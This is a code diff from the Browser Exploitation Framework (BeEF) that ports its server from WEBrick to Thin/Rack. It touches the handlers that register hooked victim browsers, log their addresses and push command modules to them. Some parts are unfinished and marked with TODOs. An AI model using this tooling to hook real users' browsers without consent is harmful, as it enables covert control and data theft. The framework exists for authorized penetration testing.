diff --git a/core/api/main/server.rb b/core/api/main/server.rb index 43c939083..cc62cd88f 100644 --- a/core/api/main/server.rb +++ b/core/api/main/server.rb @@ -33,20 +33,18 @@ module Server # Mounts a handler # @param [String] url URL to be mounted - # @param [Boolean] hard whether or not it is a hard mount # @param [Class] http_handler_class the handler Class # @param [Array] args an array of arguments # @note This is a direct API call and does not have to be registered to be used - def self.mount(url, hard, http_handler_class, args = nil) - BeEF::Core::Server.instance.mount(url, hard, http_handler_class, *args) + def self.mount(url, http_handler_class, args = nil) + BeEF::Core::Server.instance.mount(url, http_handler_class, *args) end # Unmounts a handler # @param [String] url URL to be unmounted - # @param [Boolean] hard whether or not it is a hard mount # @note This is a direct API call and does not have to be registered to be used - def self.unmount(url, hard) - BeEF::Core::Server.instance.unmount(url, hard) + def self.unmount(url) + BeEF::Core::Server.instance.unmount(url) end diff --git a/core/loader.rb b/core/loader.rb index 9a6de9875..ad9b9763b 100644 --- a/core/loader.rb +++ b/core/loader.rb @@ -16,7 +16,7 @@ # @note Include here all the gems we are using require 'rubygems' require 'webrick' -require 'webrick/httpproxy' +require 'thin' require 'dm-core' require 'dm-migrations' require 'json' diff --git a/core/main/client/updater.js b/core/main/client/updater.js index fafc07afb..f7c390da1 100644 --- a/core/main/client/updater.js +++ b/core/main/client/updater.js @@ -23,7 +23,7 @@ beef.updater = { // Low timeouts combined with the way the framework sends commamd modules result // in instructions being sent repeatedly or complex code. // If you suffer from ADHD, you can decrease this setting. - timeout: 10000, + timeout: 1000, // A lock. lock: false, @@ -62,7 +62,7 @@ beef.updater = { get_commands: function(http_response) { try { this.lock = true; - beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 10, 'script', function(response) { + beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) { if (response.body != null && response.body.length > 0) beef.updater.execute_commands(); }); diff --git a/core/main/command.rb b/core/main/command.rb index 2856f23fe..b1d18fc32 100644 --- a/core/main/command.rb +++ b/core/main/command.rb @@ -116,8 +116,8 @@ module Core # Sets the datastore for the callback function. This function is meant to be called by the CommandHandler # @param [Hash] http_params HTTP parameters - # @param [Hash] http_header HTTP headers - def build_callback_datastore(http_params, http_header) + # @param [Hash] http_headers HTTP headers + def build_callback_datastore(http_params, http_headers) @datastore = {'http_headers' => {}} # init the datastore # get, check and add the http_params to the datastore @@ -129,9 +129,9 @@ module Core } # get, check and add the http_headers to the datastore - http_header.keys.each { |http_header_key| + http_headers.keys.each { |http_header_key| raise WEBrick::HTTPStatus::BadRequest, "http_header_key is invalid" if not BeEF::Filters.is_valid_command_module_datastore_key?(http_header_key) - http_header_value = Erubis::XmlHelper.escape_xml(http_header[http_header_key][0]) + http_header_value = Erubis::XmlHelper.escape_xml(http_headers[http_header_key][0]) raise WEBrick::HTTPStatus::BadRequest, "http_header_value is invalid" if not BeEF::Filters.is_valid_command_module_datastore_param?(http_header_value) @datastore['http_headers'][http_header_key] = http_header_value # add the checked key and value to the datastore } diff --git a/core/main/handlers/commands.rb b/core/main/handlers/commands.rb index 1ebbd62d2..168bcda94 100644 --- a/core/main/handlers/commands.rb +++ b/core/main/handlers/commands.rb @@ -38,9 +38,12 @@ module Handlers # Initial setup function, creates the command module and saves details to datastore def setup() - @http_params = @data['request'].query - @http_header = @data['request'].header - @http_header['referer'] ||= '' + @http_params = @data['request'].params + @http_header = Hash.new + http_header = @data['request'].env.select {|k,v| k.to_s.start_with? 'HTTP_'} + .each {|key,value| + @http_header[key.sub(/^HTTP_/, '')] = value + } # @note get and check command id from the request command_id = get_param(@data, 'cid') diff --git a/core/main/handlers/hookedbrowsers.rb b/core/main/handlers/hookedbrowsers.rb index 57f2e7b1d..b2758421a 100644 --- a/core/main/handlers/hookedbrowsers.rb +++ b/core/main/handlers/hookedbrowsers.rb @@ -17,40 +17,36 @@ module BeEF module Core module Handlers - # @note This class handles connections from hooked browsers to the framework. - class HookedBrowsers < WEBrick::HTTPServlet::AbstractServlet + # @note This class handles connections from hooked browsers to the framework. + class HookedBrowsers + include BeEF::Core::Handlers::Modules::BeEFJS include BeEF::Core::Handlers::Modules::Command + - attr_reader :guard - - def initialize(config) - @guard = Mutex.new - end - - # This method processes the http requests sent by a hooked browser to the framework. It will update the database to add or update the current zombie and deploy some command modules or plugins. - # @param [Hash] request HTTP request object - # @param [Hash] response HTTP response object - # @todo Confirm return type of this function - def do_GET(request, response) + # Process HTTP requests sent by a hooked browser to the framework. + # It will update the database to add or update the current hooked browser + # and deploy some command modules or extensions to the hooked browser. + def call(env) @body = '' - @params = request.query - @request = request - @response = response + @request = Rack::Request.new(env) + @params = @request.query_string + @response = Rack::Response.new(body=[], 200, header={}) config = BeEF::Core::Configuration.instance # @note check source ip address of browser permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet') target_network = IPAddr.new(permitted_hooking_subnet) - if not target_network.include?(request.peeraddr[3].to_s) - BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{request.peeraddr[3]}) rejected.") - @response.set_error(nil) + if not target_network.include?(@request.ip) + BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{@request.ip}) rejected.") + @response = Rack::Response.new(body=[], 500, header={}) return end # @note get zombie if already hooked the framework - hook_session_id = request.get_hook_session_id() + hook_session_name = config.get('beef.http.hook_session_name') + hook_session_id = @request[hook_session_name] hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => hook_session_id) if not hook_session_id.nil? # @note is a new browser so return instructions to set up the hook @@ -67,9 +63,9 @@ module Handlers hooked_browser.lastseen = Time.new.to_i # @note Check for a change in zombie IP and log an event - if hooked_browser.ip != @request.peeraddr[3].to_s - BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{@request.peeraddr[3].to_s}","#{hooked_browser.id}") - hooked_browser.ip = @request.peeraddr[3].to_s + if hooked_browser.ip != @request.ip + BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{@request.ip}","#{hooked_browser.id}") + hooked_browser.ip = @request.ip end hooked_browser.count! @@ -84,17 +80,21 @@ module Handlers end # @note set response headers and body - response.set_no_cache - response.header['Content-Type'] = 'text/javascript' - response.header['Access-Control-Allow-Origin'] = '*' - response.header['Access-Control-Allow-Methods'] = 'POST, GET' - response.body = @body + @response = Rack::Response.new( + body = [@body], + status = 200, + header = { + 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0', + 'Content-Type' => 'text/javascript', + 'Access-Control-Allow-Origin' => '*', + 'Access-Control-Allow-Methods' => 'POST, GET' + } + ) end - - # @note alias do_POST function to do_GET - alias do_POST do_GET - + private # @note Object representing the HTTP request diff --git a/core/main/network_stack/api.rb b/core/main/network_stack/api.rb index 0f8a25392..219c6f839 100644 --- a/core/main/network_stack/api.rb +++ b/core/main/network_stack/api.rb @@ -23,7 +23,7 @@ module NetworkStack # @param [Object] server HTTP server instance def self.mount_handler(server) # @note this mounts the dynamic handler - server.mount('/dh', true, BeEF::Core::NetworkStack::Handlers::DynamicReconstruction) + server.mount('/dh', BeEF::Core::NetworkStack::Handlers::DynamicReconstruction.new) end end diff --git a/core/main/network_stack/assethandler.rb b/core/main/network_stack/assethandler.rb index b80624a94..2764e25ce 100644 --- a/core/main/network_stack/assethandler.rb +++ b/core/main/network_stack/assethandler.rb @@ -41,18 +41,21 @@ module Handlers # @return [String] URL Path of mounted asset # @todo This function should accept a hooked browser session to limit the mounted file to a certain session def bind(file, path=nil, extension=nil, count=-1) - url = buildURL(path, extension) + url = build_url(path, extension) @allocations[url] = {'file' => "#{root_dir}"+file, 'path' => path, 'extension' => extension, 'count' => count} - @http_server.mount(url, true, WEBrick::HTTPServlet::FileHandler, @allocations[url]['file']) + @http_server.mount(url, Rack::File.new(@allocations[url]['file'])) + @http_server.remap print_info "File [" + "#{root_dir}"+file + "] bound to url [" + url + "]" - return url + url end # Unbinds a file from a mount point # @param [String] url URL path of asset to be unbinded + #TODO: check why is throwing exception def unbind(url) @allocations.delete(url) - @http_server.unmount(url, true) + @http_server.unmount(url) + @http_server.remap end # Builds a URL based on the path and extension, if neither are passed a random URL will be generated @@ -60,10 +63,10 @@ module Handlers # @param [String] extension Extension defined by bind() # @param [Integer] length The amount of characters to be used when generating a random URL # @return [String] Generated URL - def buildURL(path, extension, length=20) - url = (path == nil) ? '/'+rand(36**length).to_s(36) : path; - url += (extension == nil) ? '' : '.'+extension; - return url + def build_url(path, extension, length=20) + url = (path == nil) ? '/'+rand(36**length).to_s(36) : path + url += (extension == nil) ? '' : '.'+extension + url end # Checks if the file is allocated, if the file isn't return true to pass onto FileHandler. @@ -84,7 +87,7 @@ module Handlers return true end end - return false + false end private diff --git a/core/main/network_stack/handlers/dynamicreconstruction.rb b/core/main/network_stack/handlers/dynamicreconstruction.rb index 051e91c82..c8ed8bd60 100644 --- a/core/main/network_stack/handlers/dynamicreconstruction.rb +++ b/core/main/network_stack/handlers/dynamicreconstruction.rb @@ -18,10 +18,8 @@ module Core module NetworkStack module Handlers - # @note DynamicHanlder is used reconstruct segmented traffic from the hooked browser - class DynamicReconstruction < WEBrick::HTTPServlet::AbstractServlet - - attr_reader :guard + # @note DynamicHandler is used reconstruct segmented traffic from the hooked browser + class DynamicReconstruction # @note holds packet queue PQ = Array.new() @@ -29,28 +27,32 @@ module Handlers # @note obtain dynamic mount points from HttpHookServer MOUNTS = BeEF::Core::Server.instance.mounts - # Combines packet information and pushes to PQ, then checks packets - # @param [Object] request Request object - # @param [Object] response Response object - def do_POST(request, response) - @request = request - response.set_no_cache - response.header['Content-Type'] = 'text/javascript' - response.header['Access-Control-Allow-Origin'] = '*' - response.header['Access-Control-Allow-Methods'] = 'POST' - response.body = '' + # Combines packet information and pushes to PQ (packet queue), then checks packets + def call(env) + @request = Rack::Request.new(env) + response = Rack::Response.new( + body = [], + status = 200, + header = { + 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0', + 'Content-Type' => 'text/javascript', + 'Access-Control-Allow-Origin' => '*', + 'Access-Control-Allow-Methods' => 'POST' + } + ) + PQ << { - :beefhook => get_param(@request.query, 'bh'), - :stream_id => Integer(get_param(@request.query, 'sid')), - :packet_id => Integer(get_param(@request.query, 'pid')), - :packet_count => Integer(get_param(@request.query, 'pc')), - :data => get_param(@request.query, 'd') + :beefhook => @request['bh'], + :stream_id => Integer(@request['sid']), + :packet_id => Integer(@request['pid']), + :packet_count => Integer(@request['pc']), + :data => @request['d'] } check_packets() + response end - - # @note Alias do_GET function to do_POST - alias do_GET do_POST # Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets def check_packets() @@ -79,7 +81,7 @@ module Handlers res = JSON.parse(b64).first res['beefhook'] = packet[:beefhook] res['request'] = @request - res['beefsession'] = @request.get_hook_session_id() + res['beefsession'] = @request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')] execute(res) rescue JSON::ParserError => e print_debug 'Network stack could not decode packet stream.' @@ -96,7 +98,7 @@ module Handlers def expunge(beefhook, stream_id) packets = PQ.select{ |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id } PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id } - return packets.sort_by { |p| p[:packet_id] } + packets.sort_by { |p| p[:packet_id] } end # Execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler diff --git a/core/main/server.rb b/core/main/server.rb index 3be3fae16..9b1cf67b3 100644 --- a/core/main/server.rb +++ b/core/main/server.rb @@ -15,120 +15,49 @@ # module BeEF -module Core + module Core - class Server + class Server - include Singleton - - # @note Grabs the version of beef the framework is deployed on - VERSION = BeEF::Core::Configuration.instance.get('beef.version') + include Singleton - attr_reader :root_dir, :url, :configuration, :command_urls, :mounts - - # Constructor starts the BeEF server including the configuration system - def initialize - @configuration = BeEF::Core::Configuration.instance - beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") - @url = "http://#{beef_host}:#{@configuration.get("beef.http.port")}" - @root_dir = File.expand_path('../../../', __FILE__) - @command_urls = {} - @mounts = {} - end - - # Returns all server variables in a hash. Useful for Erubis when generating the javascript for the command modules and hooking. - # @return [Hash] BeEF info hash - def to_h - { - 'beef_version' => VERSION, - 'beef_url' => @url, - 'beef_root_dir' => @root_dir, - 'beef_host' => BeEF::Core::Configuration.instance.get('beef.http.host'), - 'beef_port' => BeEF::Core::Configuration.instance.get('beef.http.port'), - 'beef_dns' => BeEF::Core::Configuration.instance.get('beef.http.dns'), - 'beef_hook' => BeEF::Core::Configuration.instance.get('beef.http.hook_file') - } - end - - # Returns command URL - # @param [String] command_path Command path - # @return [String] URL of command - # @todo Unsure how @command_urls is populated, this command is possibly deprecated - # @deprecated See note - def get_command_url(command_path) - # argument type checking - raise Exception::TypeError, '"command_path" needs to be a string' if not command_path.string? - - if not @command_urls[command_path].nil? - return @command_urls[command_path] - else - return command_path + # @note Grabs the version of beef the framework is deployed on + VERSION = BeEF::Core::Configuration.instance.get('beef.version') + + attr_reader :root_dir, :url, :configuration, :command_urls, :mounts, :semaphore + + def initialize + @configuration = BeEF::Core::Configuration.instance + beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") + @url = "http://#{beef_host}:#{@configuration.get("beef.http.port")}" + @root_dir = File.expand_path('../../../', __FILE__) + @command_urls = {} + @mounts = {} + @rack_app + @semaphore = Mutex.new end - end - - # Starts the BeEF http server. - def prepare - if not @http_server - config = {} - config[:BindAddress] = @configuration.get('beef.http.host') - config[:Port] = @configuration.get('beef.http.port') - config[:Logger] = WEBrick::Log.new($stdout, WEBrick::Log::ERROR) - config[:ServerName] = "BeEF " + VERSION - config[:ServerSoftware] = "BeEF " + VERSION - - @http_server = WEBrick::HTTPServer.new(config) - - # Create http handler for the javascript hook file - mount("#{@configuration.get("beef.http.hook_file")}", true, BeEF::Core::Handlers::HookedBrowsers) - - # We dynamically get the list of all http handler using the API and register them - BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'mount_handler', self) + + def to_h + { + 'beef_version' => VERSION, + 'beef_url' => @url, + 'beef_root_dir' => @root_dir, + 'beef_host' => @configuration.get('beef.http.host'), + 'beef_port' => @configuration.get('beef.http.port'), + 'beef_dns' => @configuration.get('beef.http.dns'), + 'beef_hook' => @configuration.get('beef.http.hook_file') + } end - end - - # Starts the BeEF http server - def start - # we trap CTRL+C in the console and kill the server - trap("INT") { BeEF::Core::Server.instance.stop } - - # starts the web server - @http_server.start - end - - # Stops the BeEF http server. - def stop - if @http_server - # shuts down the server - @http_server.shutdown - - # print goodbye message - puts - print_info 'BeEF server stopped' - end - end - - # Restarts the BeEF http server. - def restart; stop; start; end - - # Mounts a handler, can either be a hard or soft mount - # @param [String] url The url to mount - # @param [Boolean] hard Set to true for a hard mount, false for a soft mount. - # @param [Class] http_handler_class Class to call once mount is triggered - # @param args Arguments to pass to the http handler class - def mount(url, hard, http_handler_class, args = nil) - # argument type checking - raise Exception::TypeError, '"url" needs to be a string' if not url.string? - raise Exception::TypeError, '"hard" needs to be a boolean' if not hard.boolean? - raise Exception::TypeError, '"http_handler_class" needs to be a boolean' if not http_handler_class.class? - - if hard - if args == nil - @http_server.mount url, http_handler_class - else - @http_server.mount url, http_handler_class, *args - end - print_debug("Server: mounted handler '#{url}'") - else + + # Mounts a handler, can either be a hard or soft mount + # @param [String] url The url to mount + # @param [Class] http_handler_class Class to call once mount is triggered + # @param args Arguments to pass to the http handler class + def mount(url, http_handler_class, args = nil) + # argument type checking + raise Exception::TypeError, '"url" needs to be a string' if not url.string? +# raise Exception::TypeError, '"http_handler_class" needs to be a boolean' if not http_handler_class.class? + if args == nil mounts[url] = http_handler_class else @@ -136,27 +65,68 @@ module Core end print_debug("Server: mounted handler '#{url}'") end - end - - # Unmounts handler - # @param [String] url URL to unmount. - # @param [Boolean] hard Set to true for a hard mount, false for a soft mount. - def unmount(url, hard) - # argument type checking - raise Exception::TypeError, '"url" needs to be a string' if not url.string? - raise Exception::TypeError, '"hard" needs to be a boolean' if not hard.boolean? - - if hard - @http_server.umount(url) - else - mounts.delete(url) + + # Unmounts handler + # @param [String] url URL to unmount. + def unmount(url) + raise Exception::TypeError, '"url" needs to be a string' if not url.string? + @mounts.delete(url) + end + + # Reload the URL map (used by the NetworkStack AssetHandler to mount new URLs at runtime) + def remap + @rack_app.remap(@mounts) + end + + #Prepare the BeEF http server. + def prepare + # Create http handler for the javascript hook file + self.mount("#{@configuration.get("beef.http.hook_file")}", BeEF::Core::Handlers::HookedBrowsers.new) + + # Dynamically get the list of all the http handlers using the API and register them + BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'mount_handler', self) + + # Rack mount points + @rack_app = Rack::URLMap.new(@mounts) + + if not @http_server + if @configuration.get('beef.debug') == true +# Thin::Logging.debug = true + end + @http_server = Thin::Server.new( + @configuration.get('beef.http.host'), + @configuration.get('beef.http.port'), + @rack_app) + end + end + + + # Starts the BeEF http server + def start + # we trap CTRL+C in the console and kill the server + trap("INT") { BeEF::Core::Server.instance.stop } + + # starts the web server + @http_server.start + end + + # Stops the BeEF http server. + def stop + if @http_server + # shuts down the server + @http_server.stop + trap("INT") { BeEF::Core::Server.instance.stop } + # print goodbye message + puts + print_info 'BeEF server stopped' + end + end + + # Restarts the BeEF http server. + def restart + stop + start end end - - private - @http_server - end - -end end diff --git a/core/module.rb b/core/module.rb index a52a80b15..85b24ef50 100644 --- a/core/module.rb +++ b/core/module.rb @@ -66,8 +66,6 @@ module Module class_symbol = BeEF::Core::Command.const_get(class_name) if class_symbol and class_symbol.respond_to?(:options) return class_symbol.options - else - print_debug "Module '#{mod}', no options method defined" end end return [] @@ -126,7 +124,7 @@ module Module require config.get("beef.module.#{mod}.path")+'module.rb' if self.exists?(config.get("beef.module.#{mod}.class")) # start server mount point - BeEF::Core::Server.instance.mount("/command/#{mod}.js", false, BeEF::Core::Handlers::Commands, mod) + BeEF::Core::Server.instance.mount("/command/#{mod}.js", BeEF::Core::Handlers::Commands, mod) BeEF::Core::Configuration.instance.set("beef.module.#{mod}.mount", "/command/#{mod}.js") BeEF::Core::Configuration.instance.set('beef.module.'+mod+'.loaded', true) print_debug "Hard Load module: '#{mod.to_s}'" diff --git a/extensions/admin_ui/api/handler.rb b/extensions/admin_ui/api/handler.rb index ab3e6ef35..25ac3de0f 100644 --- a/extensions/admin_ui/api/handler.rb +++ b/extensions/admin_ui/api/handler.rb @@ -36,15 +36,16 @@ module API Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].each { |http_module| require http_module mod_name = File.basename http_module, '.rb' - beef_server.mount("/ui/#{mod_name}", true, BeEF::Extension::AdminUI::Handlers::UI, mod_name) + beef_server.mount("/ui/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name)) } # mount the folder were we store static files (javascript, css, images) for the admin ui media_dir = File.dirname(__FILE__)+'/../media/' - beef_server.mount('/ui/media', true, BeEF::Extension::AdminUI::Handlers::MediaHandler, media_dir) + beef_server.mount('/ui/media', Rack::File.new(media_dir)) + # mount the favicon file - beef_server.mount('/favicon.ico', true, WEBrick::HTTPServlet::FileHandler, "#{media_dir}#{configuration.get("beef.extension.admin_ui.favicon_dir")}/#{configuration.get("beef.extension.admin_ui.favicon_file_name")}") + beef_server.mount('/favicon.ico', Rack::File.new("#{media_dir}#{configuration.get("beef.extension.admin_ui.favicon_dir")}/#{configuration.get("beef.extension.admin_ui.favicon_file_name")}")) end end diff --git a/extensions/admin_ui/classes/httpcontroller.rb b/extensions/admin_ui/classes/httpcontroller.rb index 303f8af57..bcbed1198 100644 --- a/extensions/admin_ui/classes/httpcontroller.rb +++ b/extensions/admin_ui/classes/httpcontroller.rb @@ -49,13 +49,15 @@ module AdminUI # def run(request, response) @request = request - @params = request.query + @params = request.params @session = BeEF::Extension::AdminUI::Session.instance auth_url = '/ui/authentication' # test if session is unauth'd and whether the auth functionality is requested if not @session.valid_session?(@request) and not self.class.eql?(BeEF::Extension::AdminUI::Controllers::Authentication) - response.set_redirect(WEBrick::HTTPStatus::Found, auth_url) + @body = '' + @status = 302 + @headers = {'Location' => auth_url} return end diff --git a/extensions/admin_ui/classes/session.rb b/extensions/admin_ui/classes/session.rb index 9a832f5fb..54ec4ba35 100644 --- a/extensions/admin_ui/classes/session.rb +++ b/extensions/admin_ui/classes/session.rb @@ -29,14 +29,14 @@ class Session def initialize set_logged_out @auth_timestamp = Time.new + @id = BeEF::Core::Crypto::secure_token + @nonce = BeEF::Core::Crypto::secure_token end # # set the session logged in # def set_logged_in(ip) - @id = BeEF::Core::Crypto::secure_token - @nonce = BeEF::Core::Crypto::secure_token @ip = ip end @@ -85,10 +85,10 @@ class Session # check if a valid session return false if not valid_session?(request) return false if @nonce.nil? - return false if not request.request_method.eql? "POST" + return false if not request.post? # get nonce from request - request_nonce = request.query['nonce'] + request_nonce = request['nonce'] return false if request_nonce.nil? # verify nonce @@ -106,17 +106,16 @@ class Session return false if @ip.nil? # check ip address matches - return false if not @ip.to_s.eql? request.peeraddr[3] + return false if not @ip.to_s.eql? request.ip # get session cookie name from config - config = BeEF::Core::Configuration.instance - session_cookie_name = config.get('beef.http.session_cookie_name') - + session_cookie_name = BeEF::Core::Configuration.instance.get('beef.http.session_cookie_name') + # check session id matches request.cookies.each{|cookie| - c = WEBrick::Cookie.parse_set_cookie(cookie.to_s) - return true if (c.name.to_s.eql? session_cookie_name) and (c.value.eql? @id) + return true if (cookie[0].to_s.eql? session_cookie_name) and (cookie[1].eql? @id) } + request # not a valid session false diff --git a/extensions/admin_ui/controllers/authentication/authentication.rb b/extensions/admin_ui/controllers/authentication/authentication.rb index 66843523f..e434373f8 100644 --- a/extensions/admin_ui/controllers/authentication/authentication.rb +++ b/extensions/admin_ui/controllers/authentication/authentication.rb @@ -52,12 +52,12 @@ class Authentication < BeEF::Extension::AdminUI::HttpController password = @params['password-cfrm'] || '' config = BeEF::Core::Configuration.instance @headers['Content-Type']='application/json; charset=UTF-8' - ua_ip = @request.peeraddr[3] # get client ip address + ua_ip = @request.ip # get client ip address @body = '{ success : false }' # attempt to fail closed # check if source IP address is permited to authenticate if not permited_source?(ua_ip) - BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.peeraddr[3]}) attempted to authenticate but is not within permitted subnet.") + BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.ip}) attempted to authenticate but is not within permitted subnet.") return end @@ -70,7 +70,7 @@ class Authentication < BeEF::Extension::AdminUI::HttpController # check username and password if not (username.eql? config.get('beef.extension.admin_ui.username') and password.eql? config.get('beef.extension.admin_ui.password') ) - BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has failed to authenticate in the application.") + BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has failed to authenticate in the application.") return end @@ -88,7 +88,7 @@ class Authentication < BeEF::Extension::AdminUI::HttpController # add session cookie to response header @headers['Set-Cookie'] = session_cookie.to_s - BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has successfuly authenticated in the application.") + BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfuly authenticated in the application.") @body = "{ success : true }" end diff --git a/extensions/admin_ui/handlers/ui.rb b/extensions/admin_ui/handlers/ui.rb index 1c4117d39..b78cd72f3 100644 --- a/extensions/admin_ui/handlers/ui.rb +++ b/extensions/admin_ui/handlers/ui.rb @@ -22,41 +22,42 @@ module Extension module AdminUI module Handlers - class UI < WEBrick::HTTPServlet::AbstractServlet + class UI + attr_reader :guard # # Constructor # - def initialize(config, klass) + def initialize(klass) super @guard = Mutex.new @klass = BeEF::Extension::AdminUI::Controllers.const_get(klass.to_s.capitalize) end - - # - # Retrieves the request and forwards it to the controller - # - def do_GET(request, response) - @request = request - @response = response - + + def call(env) + @request = Rack::Request.new(env) + @response = Rack::Response.new(env) + controller = nil controller = @klass.new controller.run(@request, @response) - - response.header.replace(controller.headers) - response.body = controller.body.to_s + + @response = Rack::Response.new( + body = [controller.body], + status = controller.status, + header = controller.headers + ) + end private - + @request @response - - alias do_POST do_GET + end end diff --git a/extensions/demos/api.rb b/extensions/demos/api.rb index 56f4202d9..9fe0d69d8 100644 --- a/extensions/demos/api.rb +++ b/extensions/demos/api.rb @@ -24,13 +24,9 @@ module Demos def self.mount_handler(beef_server) # mount the handler to support the demos dir = File.dirname(__FILE__)+'/html/' - - beef_server.mount('/demos/', true, WEBrick::HTTPServlet::FileHandler, dir) + beef_server.mount('/demos/', Rack::File.new(dir)) end - end - - end end end diff --git a/extensions/events/api.rb b/extensions/events/api.rb index 2a853fdfd..6ba2c7a36 100644 --- a/extensions/events/api.rb +++ b/extensions/events/api.rb @@ -27,11 +27,9 @@ module Events # like keystroke, mouse clicks and form submission. # def self.mount_handler(beef_server) - beef_server.mount('/event', false, BeEF::Extension::Events::Handler) + beef_server.mount('/event', BeEF::Extension::Events::Handler) end - end - end end end diff --git a/extensions/initialization/api.rb b/extensions/initialization/api.rb index 39723f5ad..5673d193e 100644 --- a/extensions/initialization/api.rb +++ b/extensions/initialization/api.rb @@ -27,7 +27,7 @@ module Initialization # all the information about hooked browsers. # def self.mount_handler(beef_server) - beef_server.mount('/init', false, BeEF::Extension::Initialization::Handler) + beef_server.mount('/init', BeEF::Extension::Initialization::Handler) end end diff --git a/extensions/initialization/handler.rb b/extensions/initialization/handler.rb index aa67b3cae..eae12ce61 100644 --- a/extensions/initialization/handler.rb +++ b/extensions/initialization/handler.rb @@ -42,14 +42,14 @@ module Initialization return if not hooked_browser.nil? # browser is already registered with framework # create the structure representing the hooked browser - zombie = BeEF::Core::Models::HookedBrowser.new(:ip => @data['request'].peeraddr[3], :session => session_id) + zombie = BeEF::Core::Models::HookedBrowser.new(:ip => @data['request'].ip, :session => session_id) zombie.firstseen = Time.new.to_i # hostname if not @data['results']['HostName'].nil? then log_zombie_domain=@data['results']['HostName'] - elsif (not @data['request'].header['referer'].nil?) and (not @data['request'].header['referer'].empty?) - log_zombie_domain=@data['request'].header['referer'][0].gsub('http://','').gsub('https://','').split('/')[0] + elsif (not @data['request'].referer.nil?) and (not @data['request'].referer.empty?) + log_zombie_domain=@data['request'].referer.gsub('http://','').gsub('https://','').split('/')[0] else log_zombie_domain="unknown" # Probably local file open end @@ -67,7 +67,11 @@ module Initialization zombie.domain = log_zombie_domain zombie.port = log_zombie_port - zombie.httpheaders = @data['request'].header.to_json + + #TODO: find a way to do this + #zombie.httpheaders = @data['request'].header.to_json + zombie.httpheaders = 'temp headers' + zombie.save # the save needs to be conducted before any hooked browser specific logging @@ -295,20 +299,21 @@ module Initialization end # Call autorun modules, this will be moved to core along with the Initialization extension - autorun = [] - BeEF::Core::Configuration.instance.get('beef.module').each{|k,v| - if v.has_key?('autorun') and v['autorun'] == true - if BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name}) == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING - BeEF::Module.execute(k, session_id) - autorun.push(k) - else - print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser #{zombie.ip}" - end - end - } - if autorun.length > 0 - print_info "Autorun executed: #{autorun.join(', ')} against Hooked browser #{zombie.ip}" - end + #TODO: re-enable it +# autorun = [] +# BeEF::Core::Configuration.instance.get('beef.module').each{|k,v| +# if v.has_key?('autorun') and v['autorun'] == true +# if BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name}) == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING +# BeEF::Module.execute(k, session_id) +# autorun.push(k) +# else +# print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser #{zombie.ip}" +# end +# end +# } +# if autorun.length > 0 +# print_info "Autorun executed: #{autorun.join(', ')} against Hooked browser #{zombie.ip}" +# end end def get_param(query, key) diff --git a/extensions/requester/api.rb b/extensions/requester/api.rb index 56aa0aeaa..f7f5d0b1f 100644 --- a/extensions/requester/api.rb +++ b/extensions/requester/api.rb @@ -24,7 +24,7 @@ module Requester # We register the http handler for the requester. # This http handler will retrieve the http responses for all requests def self.mount_handler(beef_server) - beef_server.mount('/requester', false, BeEF::Extension::Requester::Handler) + beef_server.mount('/requester', BeEF::Extension::Requester::Handler) end end diff --git a/extensions/requester/api/hook.rb b/extensions/requester/api/hook.rb index 3f2f0bfb0..153480bbb 100644 --- a/extensions/requester/api/hook.rb +++ b/extensions/requester/api/hook.rb @@ -17,37 +17,28 @@ module BeEF module Extension module Requester module API - # - # Module containing all the functions to run the Requester. - # - # That module is dependent on 'Common'. Hence to use it, - # your code also needs to include that module. - # + require 'uri' class Hook include BeEF::Core::Handlers::Modules::BeEFJS - # - # Runs the Requester - # + # If the HTTP table contains requests that need to be sent (has_ran = waiting), retrieve + # and send them to the hooked browser. def requester_run(hb, body) @body = body - # we generate all the requests and output them to the hooked browser + # Generate all the requests and output them to the hooked browser output = [] BeEF::Core::Models::Http.all(:hooked_browser_id => hb.id, :has_ran => "waiting").each { |h| output << self.requester_parse_db_request(h) } - # stop here of our output in empty, that means there aren't any requests to send return if output.empty? - #print_debug("[REQUESTER] Sending request(s): #{output.to_json}") - - # build the beefjs requester component + # Build the BeEFJS requester component build_missing_beefjs_components 'beef.net.requester' - # we send the command to perform the requests to the hooked browser + # Send the command to perform the requests to the hooked browser @body << %Q{ beef.execute(function() { beef.net.requester.send( @@ -58,12 +49,13 @@ module BeEF end # - # Converts a HTTP DB Object into a BeEF JS command that - # can be executed by the hooked browser. - # + # Converts an HTTP db object into an Hash that follows the representation + # of input data 